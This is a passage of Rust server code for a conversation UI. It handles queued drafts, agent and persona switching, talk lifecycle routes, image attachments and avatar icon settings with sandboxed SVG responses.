9967        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9968        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9969            // Release under the arrival lock; a later `/say` takes its own claim.
9970            turn.release(&mut live);
9971            return false;
9972        }
9973    }
9974    let (started, settled) = tokio::sync::oneshot::channel();
9975    tokio::spawn(drain_loop_started(
9976        talk,
9977        talks,
9978        cfg,
9979        id,
9980        turn,
9981        Some(started),
9982    ));
9983    settled.await.unwrap_or(false)
9984}
9985
9986#[cfg(not(test))]
9987async fn drain_loop_started(
9988    talk: Talk,
9989    talks: Talks,
9990    _cfg: Config,
9991    id: String,
9992    turn: TalkTurnGuard,
9993    started: Option<tokio::sync::oneshot::Sender<bool>>,
9994) {
9995    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9996    let running = if pending {
9997        match crate::chat_worker::spawn_turn(&talks, &id).await {
9998            Ok(_) => true,
9999            Err(error) => {
10000                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10001                false
10002            }
10003        }
10004    } else {
10005        false
10006    };
10007    drop(turn);
10008    if let Some(started) = started {
10009        let _ = started.send(running);
10010    }
10011}
10012
10013// Existing in-process conversation tests exercise transcript/arrival ordering;
10014// real process-lifetime behavior is covered by the CLI integration tests.
10015#[cfg(test)]
10016async fn drain_loop_started(
10017    mut talk: Talk,
10018    talks: Talks,
10019    cfg: Config,
10020    id: String,
10021    turn: TalkTurnGuard,
10022    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10023) {
10024    let live_set = Arc::clone(&turn.turns);
10025    // `Option` rather than binding `turn` directly to a `_turn` that lives
10026    // for the whole function: releasing it has to happen by calling
10027    // `TalkTurnGuard::release` from inside the locked branch below, which
10028    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10029    // remove the id - correctly, if this loop is ever left some other way -
10030    // but doing it there misses the lock this loop is already holding, which
10031    // is the exact gap `release` exists to close.
10032    let mut turn = Some(turn);
10033    loop {
10034        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10035            // The lease was taken over while a turn ran. Whatever is queued
10036            // stays a draft; running it here would race the new owner.
10037            tracing::warn!("talk {id} lost its turn lease; not draining further");
10038            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10039            if let Some(turn) = turn.take() {
10040                turn.release(&mut live);
10041            }
10042            break;
10043        }
10044        // `talk::drain` takes the store lock and can write/rename the talk
10045        // file. Keep the turn mutex out of that synchronous work: it protects
10046        // every talk's in-memory claim, not this talk's disk operation.
10047        let observed = live_set
10048            .lock()
10049            .unwrap_or_else(PoisonError::into_inner)
10050            .queued
10051            .get(&id)
10052            .copied()
10053            .unwrap_or(0);
10054        let drained = blocking({
10055            let talks = talks.clone();
10056            move || {
10057                let result = talk::drain(&mut talk, &talks);
10058                Ok((talk, result))
10059            }
10060        })
10061        .await;
10062        let (next_talk, result) = match drained {
10063            Ok(drained) => drained,
10064            Err(e) => {
10065                tracing::warn!(
10066                    status = %e.status,
10067                    message = %e.message,
10068                    "talk {id} could not start queued-text drain"
10069                );
10070                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10071                turn.take()
10072                    .expect("held for the whole loop until released here")
10073                    .release(&mut live);
10074                break;
10075            }
10076        };
10077        talk = next_talk;
10078        let drained = match result {
10079            Ok(Some(drained)) => drained,
10080            Ok(None) => {
10081                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10082                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10083                    continue;
10084                }
10085                turn.take()
10086                    .expect("held for the whole loop until released here")
10087                    .release(&mut live);
10088                break;
10089            }
10090            Err(e) => {
10091                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10092                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10093                turn.take()
10094                    .expect("held for the whole loop until released here")
10095                    .release(&mut live);
10096                break;
10097            }
10098        };
10099        if let Some(started) = started.take() {
10100            let _ = started.send(true);
10101        }
10102        let responded = match turn.as_ref() {
10103            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10104            None => Err(anyhow::anyhow!("the turn guard was released")),
10105        };
10106        if let Err(e) = responded {
10107            tracing::warn!("talk {id} turn failed: {e:#}");
10108        }
10109    }
10110    drop(turn);
10111    if let Some(started) = started {
10112        let _ = started.send(false);
10113    }
10114}
10115
10116/// Clear a queued draft only if it remains exactly the one the caller saw.
10117async fn talk_pending_clear(
10118    State(ui): State<Arc<Ui>>,
10119    Path(id): Path<String>,
10120    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10121) -> ApiResult<Json<TalkView>> {
10122    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10123    blocking(move || {
10124        let id = resolve_talk(&ui.talks, &id)?;
10125        let mut talk = ui.talks.get(&id)?;
10126        if !talk.status.open() {
10127            return Err(ApiError::conflict(format!(
10128                "talk {} is {} and takes no more turns",
10129                talk.short(),
10130                talk.status.as_str()
10131            )));
10132        }
10133        if !talk::clear_pending_if_matches(
10134            &mut talk,
10135            &ui.talks,
10136            &body.expected_text,
10137            &body.expected_attachments,
10138        )? {
10139            return Err(ApiError::conflict(
10140                "queued message changed; reload it before clearing",
10141            ));
10142        }
10143        let thinking = ui.is_thinking(&talk.id);
10144        Ok(Json(TalkView::new(talk, thinking, &ui)))
10145    })
10146    .await
10147}
10148
10149/// Atomically edit a queued draft's text while preserving its attachments.
10150/// The snapshot fields make a concurrent queue or drain a conflict rather
10151/// than silently discarding either message.
10152async fn talk_pending_edit(
10153    State(ui): State<Arc<Ui>>,
10154    Path(id): Path<String>,
10155    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10156) -> ApiResult<Json<TalkView>> {
10157    let admission = ui.begin_admission()?;
10158    admitted(admission, async move {
10159        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10160        let id = {
10161            let ui = Arc::clone(&ui);
10162            blocking(move || resolve_talk(&ui.talks, &id)).await?
10163        };
10164        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10165            .await
10166            .map_err(ApiError::from)?;
10167        let (view, reclaimed) = blocking({
10168            let ui = Arc::clone(&ui);
10169            move || {
10170                let mut talk = ui.talks.get(&id)?;
10171                if !talk.status.open() {
10172                    return Err(ApiError::conflict(format!(
10173                        "talk {} is {} and takes no more turns",
10174                        talk.short(),
10175                        talk.status.as_str()
10176                    )));
10177                }
10178                if !talk::edit_pending_message(
10179                    &mut talk,
10180                    &ui.talks,
10181                    &body.text,
10182                    &body.expected_text,
10183                    &body.expected_attachments,
10184                    body.message,
10185                )? {
10186                    return Err(ApiError::conflict(
10187                        "queued message changed; reload it before editing",
10188                    ));
10189                }
10190                let claim = match ui.begin_queued_talk_turn(&id)? {
10191                    Some(turn_guard) => {
10192                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10193                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10194                    }
10195                    None => None,
10196                };
10197                let thinking = ui.is_thinking(&id);
10198                Ok((TalkView::new(talk, thinking, &ui), claim))
10199            }
10200        })
10201        .await?;
10202        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10203            let talks = ui.talks.clone();
10204            #[cfg(not(test))]
10205            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10206            #[cfg(test)]
10207            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10208        }
10209        Ok(Json(view))
10210    })
10211    .await
10212}
10213
10214/// The 409 for a talk that takes no more turns.
10215fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10216    if talk.status.open() {
10217        return Ok(());
10218    }
10219    Err(ApiError::conflict(format!(
10220        "talk {} is {} and takes no more turns",
10221        talk.short(),
10222        talk.status.as_str()
10223    )))
10224}
10225
10226/// The body of `POST /api/talks/{id}/agent`.
10227#[derive(Debug, Deserialize)]
10228struct TalkAgent {
10229    agent: String,
10230}
10231
10232/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10233/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10234/// start a turn on the old session between the check and the write; one that
10235/// arrives in that window finds the talk busy and becomes a draft.
10236async fn talk_agent(
10237    State(ui): State<Arc<Ui>>,
10238    Path(id): Path<String>,
10239    Json(body): Json<TalkAgent>,
10240) -> ApiResult<Json<TalkView>> {
10241    let admission = ui.begin_admission()?;
10242    admitted(admission, async move {
10243        let id = {
10244            let ui = Arc::clone(&ui);
10245            blocking(move || resolve_talk(&ui.talks, &id)).await?
10246        };
10247        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10248            .await
10249            .map_err(ApiError::from)?;
10250        let repo = {
10251            let ui = Arc::clone(&ui);
10252            let id = id.clone();
10253            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10254        };
10255        let cfg = config_for(&repo).await?;
10256        // Refuse before taking the claim; see `talk_implementers`.
10257        {
10258            let ui = Arc::clone(&ui);
10259            let id = id.clone();
10260            let cfg = cfg.clone();
10261            let wanted = body.agent.clone();
10262            blocking(move || {
10263                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10264                    .map_err(ApiError::bad_request_from)?;
10265                refuse_if_closed(&ui.talks.get(&id)?)
10266            })
10267            .await?;
10268        }
10269        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10270            return Err(ApiError::conflict(
10271                "a talk turn is running; change the agent once it has answered",
10272            ));
10273        };
10274        let switched = {
10275            let ui = Arc::clone(&ui);
10276            let id = id.clone();
10277            let cfg = cfg.clone();
10278            blocking(move || {
10279                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10280                    .map_err(ApiError::bad_request_from)?;
10281                let mut talk = ui.talks.get(&id)?;
10282                if !talk.status.open() {
10283                    return Err(ApiError::conflict(format!(
10284                        "talk {} is {} and takes no more turns",
10285                        talk.short(),
10286                        talk.status.as_str()
10287                    )));
10288                }
10289                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10290                Ok(talk)
10291            })
10292            .await
10293        };
10294        // A `/say` that landed while this held the claim saw the talk busy and
10295        // left a durable draft, trusting the claim's owner to drain it. So the
10296        // claim is settled whatever the outcome. Release an empty draft's claim
10297        // before replying; queued drafts continue independently of the handler.
10298        let observed = ui.queued_generation(&id);
10299        let fresh = {
10300            let ui = Arc::clone(&ui);
10301            let id = id.clone();
10302            blocking(move || Ok(ui.talks.get(&id)?)).await
10303        };
10304        let draining = match fresh {
10305            Ok(talk) => {
10306                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10307            }
10308            Err(_) => false,
10309        };
10310        let talk = switched?;
10311        Ok(Json(TalkView::new(talk, draining, &ui)))
10312    })
10313    .await
10314}
10315
10316/// The body of `POST /api/talks/{id}/persona`.
10317#[derive(Debug, Deserialize)]
10318struct TalkPersona {
10319    persona: String,
10320}
10321
10322/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10323/// like [`talk_agent`]: the turn guard is held for the change and always handed
10324/// to `drain_loop`, so a draft left meanwhile is not stranded.
10325async fn talk_persona(
10326    State(ui): State<Arc<Ui>>,
10327    Path(id): Path<String>,
10328    Json(body): Json<TalkPersona>,
10329) -> ApiResult<Json<TalkView>> {
10330    let admission = ui.begin_admission()?;
10331    admitted(admission, async move {
10332        let id = {
10333            let ui = Arc::clone(&ui);
10334            blocking(move || resolve_talk(&ui.talks, &id)).await?
10335        };
10336        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10337            .await
10338            .map_err(ApiError::from)?;
10339        let repo = {
10340            let ui = Arc::clone(&ui);
10341            let id = id.clone();
10342            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10343        };
10344        let cfg = config_for(&repo).await?;
10345        // Refuse before taking the claim; see `talk_implementers`.
10346        {
10347            let ui = Arc::clone(&ui);
10348            let id = id.clone();
10349            let cfg = cfg.clone();
10350            let wanted = body.persona.clone();
10351            blocking(move || {
10352                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10353                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10354                }
10355                refuse_if_closed(&ui.talks.get(&id)?)
10356            })
10357            .await?;
10358        }
10359        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10360            return Err(ApiError::conflict(
10361                "a talk turn is running; change the persona once it has answered",
10362            ));
10363        };
10364        let switched = {
10365            let ui = Arc::clone(&ui);
10366            let id = id.clone();
10367            let cfg = cfg.clone();
10368            blocking(move || {
10369                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10370                    return Err(ApiError::bad_request(format!(
10371                        "unknown persona `{}`",
10372                        body.persona
10373                    )));
10374                };
10375                let mut talk = ui.talks.get(&id)?;
10376                if !talk.status.open() {
10377                    return Err(ApiError::conflict(format!(
10378                        "talk {} is {} and takes no more turns",
10379                        talk.short(),
10380                        talk.status.as_str()
10381                    )));
10382                }
10383                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10384                Ok(talk)
10385            })
10386            .await
10387        };
10388        // As in `talk_agent`: settle the claim before replying, even on refusal.
10389        let observed = ui.queued_generation(&id);
10390        let fresh = {
10391            let ui = Arc::clone(&ui);
10392            let id = id.clone();
10393            blocking(move || Ok(ui.talks.get(&id)?)).await
10394        };
10395        let draining = match fresh {
10396            Ok(talk) => {
10397                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10398            }
10399            Err(_) => false,
10400        };
10401        let talk = switched?;
10402        Ok(Json(TalkView::new(talk, draining, &ui)))
10403    })
10404    .await
10405}
10406
10407/// The body of `POST /api/talks/{id}/implementers`.
10408#[derive(Debug, Deserialize)]
10409struct TalkImplementers {
10410    implementers: u8,
10411}
10412
10413/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10414/// like [`talk_agent`]: the turn guard is held for the change and always handed
10415/// to `drain_loop`, so a draft left meanwhile is not stranded.
10416async fn talk_implementers(
10417    State(ui): State<Arc<Ui>>,
10418    Path(id): Path<String>,
10419    Json(body): Json<TalkImplementers>,
10420) -> ApiResult<Json<TalkView>> {
10421    let admission = ui.begin_admission()?;
10422    admitted(admission, async move {
10423        let id = {
10424            let ui = Arc::clone(&ui);
10425            blocking(move || resolve_talk(&ui.talks, &id)).await?
10426        };
10427        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10428            .await
10429            .map_err(ApiError::from)?;
10430        let repo = {
10431            let ui = Arc::clone(&ui);
10432            let id = id.clone();
10433            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10434        };
10435        let cfg = config_for(&repo).await?;
10436        // Refuse a request that cannot succeed before taking the claim: a claim
10437        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10438        // moment, so a refusal would make the next request see "busy" instead of
10439        // its own answer. The checks after the claim stay the ones that decide.
10440        {
10441            let ui = Arc::clone(&ui);
10442            let id = id.clone();
10443            let cfg = cfg.clone();
10444            let wanted = body.implementers;
10445            blocking(move || {
10446                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10447                refuse_if_closed(&ui.talks.get(&id)?)
10448            })
10449            .await?;
10450        }
10451        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10452            return Err(ApiError::conflict(
10453                "a talk turn is running; change the implementers once it has answered",
10454            ));
10455        };
10456        let switched = {
10457            let ui = Arc::clone(&ui);
10458            let id = id.clone();
10459            let cfg = cfg.clone();
10460            blocking(move || {
10461                let chosen = talk::check_implementers(body.implementers, &cfg)
10462                    .map_err(ApiError::bad_request)?;
10463                let mut talk = ui.talks.get(&id)?;
10464                if !talk.status.open() {
10465                    return Err(ApiError::conflict(format!(
10466                        "talk {} is {} and takes no more turns",
10467                        talk.short(),
10468                        talk.status.as_str()
10469                    )));
10470                }
10471                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10472                Ok(talk)
10473            })
10474            .await
10475        };
10476        // As in `talk_agent`: settle the claim before replying, even on refusal.
10477        let observed = ui.queued_generation(&id);
10478        let fresh = {
10479            let ui = Arc::clone(&ui);
10480            let id = id.clone();
10481            blocking(move || Ok(ui.talks.get(&id)?)).await
10482        };
10483        let draining = match fresh {
10484            Ok(talk) => {
10485                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10486            }
10487            Err(_) => false,
10488        };
10489        let talk = switched?;
10490        Ok(Json(TalkView::new(talk, draining, &ui)))
10491    })
10492    .await
10493}
10494
10495/// `POST /api/talks/{id}/close`.
10496async fn talk_close(
10497    State(ui): State<Arc<Ui>>,
10498    Path(id): Path<String>,
10499) -> ApiResult<Json<TalkView>> {
10500    blocking(move || {
10501        let id = resolve_talk(&ui.talks, &id)?;
10502        let mut talk = ui.talks.get(&id)?;
10503        talk::close(&mut talk, &ui.talks).map_err(|error| {
10504            if error.is::<talk::ClosePendingInput>() {
10505                ApiError::conflict(format!("{error:#}"))
10506            } else {
10507                ApiError::from(error)
10508            }
10509        })?;
10510        let thinking = ui.is_thinking(&talk.id);
10511        Ok(Json(TalkView::new(talk, thinking, &ui)))
10512    })
10513    .await
10514}
10515
10516/// `POST /api/talks/{id}/reopen`.
10517async fn talk_reopen(
10518    State(ui): State<Arc<Ui>>,
10519    Path(id): Path<String>,
10520) -> ApiResult<Json<TalkView>> {
10521    blocking(move || {
10522        let id = resolve_talk(&ui.talks, &id)?;
10523        let mut talk = ui.talks.get(&id)?;
10524        talk::reopen(&mut talk, &ui.talks)?;
10525        let thinking = ui.is_thinking(&talk.id);
10526        Ok(Json(TalkView::new(talk, thinking, &ui)))
10527    })
10528    .await
10529}
10530
10531/// `DELETE /api/talks/{id}`.
10532///
10533/// Removes the conversation's record and artifacts outright, unlike
10534/// [`talk_close`] which keeps the record as history. A turn already in
10535/// flight is not refused here the way [`run_delete`] refuses a live run:
10536/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10537/// under [`Talks::guard`], that the record they are about to write back is
10538/// still there, so a delete racing a turn is safe without this route having
10539/// to know a turn is running at all.
10540async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10541    blocking(move || {
10542        let id = resolve_talk(&ui.talks, &id)?;
10543        ui.talks.remove(&id)?;
10544        Ok(StatusCode::NO_CONTENT)
10545    })
10546    .await
10547}
10548
10549fn talk_ids(root: &FsPath) -> Vec<String> {
10550    std::fs::read_dir(root)
10551        .into_iter()
10552        .flatten()
10553        .flatten()
10554        .filter_map(|e| {
10555            let path = e.path();
10556            if path.extension().is_some_and(|ext| ext == "json") {
10557                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10558            } else {
10559                None
10560            }
10561        })
10562        .collect()
10563}
10564
10565/// Expand an id or short id to exactly one talk id.
10566fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10567    if plain_record_id(id) && store.path_of(id).is_file() {
10568        return Ok(id.to_owned());
10569    }
10570    pick(talk_ids(store.root()), id, "talk")
10571}
10572
10573/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10574/// future `talk-say`.
10575async fn talk_attachment_post(
10576    State(ui): State<Arc<Ui>>,
10577    Path(id): Path<String>,
10578    headers: HeaderMap,
10579    body: Bytes,
10580) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10581    let mime = validate_attachment(&headers, &body)?;
10582    let name = filename_header(&headers);
10583    let data = body.to_vec();
10584    blocking(move || {
10585        let id = resolve_talk(&ui.talks, &id)?;
10586        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10587        Ok((StatusCode::CREATED, Json(att)))
10588    })
10589    .await
10590}
10591
10592/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10593/// `<img>` tag in the transcript.
10594async fn talk_attachment_get(
10595    State(ui): State<Arc<Ui>>,
10596    Path((id, att)): Path<(String, String)>,
10597) -> ApiResult<Response> {
10598    blocking(move || {
10599        let id = resolve_talk(&ui.talks, &id)?;
10600        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10601            return Err(ApiError::not_found(format!(
10602                "talk {id} has no attachment `{att}`"
10603            )));
10604        };
10605        Ok(attachment_response(&meta.mime, data))
10606    })
10607    .await
10608}
10609
10610/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10611/// the icon setting, so changing it changes the URL.
10612fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10613    let id = avatar_encode(&p.id);
10614    format!(
10615        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10616        persona_icon::fingerprint(
10617            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10618        )
10619    )
10620}
10621
10622#[derive(Debug, Default, Deserialize)]
10623struct AvatarQuery {
10624    persona: Option<String>,
10625    /// Set by the page after the first load failed: skip the `icon`.
10626    builtin: Option<String>,
10627}
10628
10629/// Served with every built-in avatar: it is an image, so nothing else may run.
10630const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10631
10632fn builtin_avatar(id: &str) -> Response {
10633    svg_avatar(persona_icon::builtin_svg(id))
10634}
10635
10636async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10637    raster_or_builtin(
10638        read_icon_file(&avatar_setting_path(&ui.home, None))
10639            .filter(|_| q.builtin.is_none())
10640            .as_deref(),
10641        persona_icon::operator_svg(),
10642    )
10643}
10644
10645fn svg_avatar(svg: &'static str) -> Response {
10646    (
10647        [
10648            (header::CONTENT_TYPE, "image/svg+xml"),
10649            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10650            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10651            (header::CACHE_CONTROL, "no-cache"),
10652        ],
10653        svg,
10654    )
10655        .into_response()
10656}
10657
10658fn avatar_encode(value: &str) -> String {
10659    value
10660        .bytes()
10661        .map(|b| {
10662            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10663                char::from(b).to_string()
10664            } else {
10665                format!("%{b:02X}")
10666            }
10667        })
10668        .collect()
10669}
10670
10671// Display-only overrides live outside configuration and conversation records.
10672fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10673    let Some(id) = persona else {
10674        return home.join("avatars/operator.data");
10675    };
10676    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10677    let mut path = home.join("avatars/personas");
10678    for chunk in encoded.as_bytes().chunks(100) {
10679        path.push(std::str::from_utf8(chunk).expect("hex"));
10680    }
10681    path.join("icon.data")
10682}
10683
10684fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10685    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10686        Some(value) if value == "builtin" => Some(String::new()),
10687        Some(value) => Some(value),
10688        None => configured.map(str::to_owned),
10689    }
10690}
10691
10692fn operator_icon_url(home: &FsPath) -> String {
10693    format!(
10694        "/avatars/operator.svg?v={}",
10695        persona_icon::fingerprint(
10696            read_icon_file(&avatar_setting_path(home, None))
10697                .as_deref()
10698                .or(Some(persona_icon::operator_svg()))
10699        )
10700    )
10701}
10702
10703fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10704    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10705        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10706            attachment_response(mime, bytes)
10707        }
10708        _ => svg_avatar(builtin),
10709    };
10710    response
10711        .headers_mut()
10712        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10713    response
10714}
10715
10716#[derive(Default, Deserialize)]
10717struct AvatarSettingsQuery {
10718    repo: Option<PathBuf>,
10719    persona: Option<String>,
10720    builtin: Option<String>,
10721    inherit: Option<String>,
10722}
10723
10724fn avatar_settings_specs(
10725    ui: &Ui,
10726    repo: Option<PathBuf>,
10727) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10728    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10729    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10730        .map(|cfg| cfg.talk.personas)
10731        .unwrap_or_default();
10732    Ok((repo, specs))
10733}
10734
10735fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10736    let Ok(entries) = std::fs::read_dir(path) else {
10737        return;
10738    };
10739    for entry in entries.flatten() {
10740        let name = entry.file_name().to_string_lossy().into_owned();
10741        if name == "icon.data" {
10742            let bytes: Option<Vec<u8>> = prefix
10743                .as_bytes()
10744                .chunks(2)
10745                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10746                .collect();
10747            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10748                out.push(id);
10749            }
10750        } else if name.len() <= 100
10751            && !name.is_empty()
10752            && name.bytes().all(|b| b.is_ascii_hexdigit())
10753            && entry.file_type().is_ok_and(|t| t.is_dir())
10754        {
10755            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10756        }
10757    }
10758}
10759
10760async fn avatar_settings_get(
10761    State(ui): State<Arc<Ui>>,
10762    Query(q): Query<AvatarSettingsQuery>,
10763) -> ApiResult<Json<serde_json::Value>> {
10764    blocking(move || {
10765        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10766        let mut catalog = persona::catalog(&specs);
10767        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10768        let mut saved = Vec::new();
10769        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10770        for id in saved {
10771            if !catalog.iter().any(|p| p.id == id) {
10772                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10773            }
10774        }
10775        let personas: Vec<_> = catalog.iter().map(|p| {
10776            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10777            let override_state = match saved.as_deref() {
10778                Some("builtin") => "builtin",
10779                Some(_) => "custom",
10780                None => "inherit",
10781            };
10782            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10783            serde_json::json!({"id":p.id,"name":p.name,
10784                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10785                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10786                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10787        }).collect();
10788        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10789    }).await
10790}
10791
10792async fn settings_persona_avatar(
10793    State(ui): State<Arc<Ui>>,
10794    Query(q): Query<AvatarSettingsQuery>,
10795) -> ApiResult<Response> {
10796    blocking(move || {
10797        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10798        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10799        let found = persona::find(&specs, id);
10800        let icon =
10801            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10802        Ok(raster_or_builtin(
10803            icon.as_deref().filter(|_| q.builtin.is_none()),
10804            persona_icon::builtin_svg(id),
10805        ))
10806    })
10807    .await
10808}
10809
10810fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10811    if q.persona
10812        .as_ref()
10813        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10814    {
10815        return Err(ApiError::bad_request("invalid persona id"));
10816    }
10817    Ok(())
10818}
10819
10820async fn avatar_settings_put(
10821    State(ui): State<Arc<Ui>>,
10822    Query(q): Query<AvatarSettingsQuery>,
10823    Json(upload): Json<MagiIconUpload>,
10824) -> ApiResult<Json<serde_json::Value>> {
10825    blocking(move || {
10826        validate_avatar_target(&q)?;
10827        save_icon_file(
10828            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10829            &upload.icon,
10830        )
10831        .map_err(ApiError::bad_request_from)?;
10832        Ok(Json(serde_json::json!({"saved":true})))
10833    })
10834    .await
10835}
10836
10837async fn avatar_settings_delete(
10838    State(ui): State<Arc<Ui>>,
10839    Query(q): Query<AvatarSettingsQuery>,
10840) -> ApiResult<Json<serde_json::Value>> {
10841    blocking(move || {
10842        validate_avatar_target(&q)?;
10843        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10844        if q.persona.is_some() && q.inherit.is_none() {
10845            atomic_icon_write(&path, "builtin")?;
10846        } else {
10847            match std::fs::remove_file(path) {
10848                Ok(()) => (),
10849                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10850                Err(e) => return Err(anyhow::Error::from(e).into()),
10851            }
10852        }
10853        Ok(Json(serde_json::json!({"saved":true})))
10854    })
10855    .await
10856}
10857
10858// The global MAGI icon is deliberately independent of repository configuration.
10859fn magi_icon_path(home: &FsPath) -> PathBuf {
10860    home.join("magi-icon.data")
10861}
10862
10863fn read_magi_icon(home: &FsPath) -> Option<String> {
10864    read_icon_file(&magi_icon_path(home))
10865}
10866
10867fn read_icon_file(path: &FsPath) -> Option<String> {
10868    let metadata = std::fs::metadata(path).ok()?;
10869    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10870        return None;
10871    }
10872    let file = std::fs::File::open(path).ok()?;
10873    use std::io::Read;
10874    let mut text = String::new();
10875    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10876        .read_to_string(&mut text)
10877        .ok()?;
10878    if text.len() > persona_icon::ICON_MAX_BYTES {
10879        return None;
10880    }
10881    if text == "builtin" {
10882        return Some(text);
10883    }
10884    validate_uploaded_icon(&text).ok()?;
10885    Some(text)
10886}
10887
10888fn magi_icon_url(home: &FsPath) -> String {
10889    format!(
10890        "/avatars/magi?v={}",
10891        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10892    )
10893}
10894
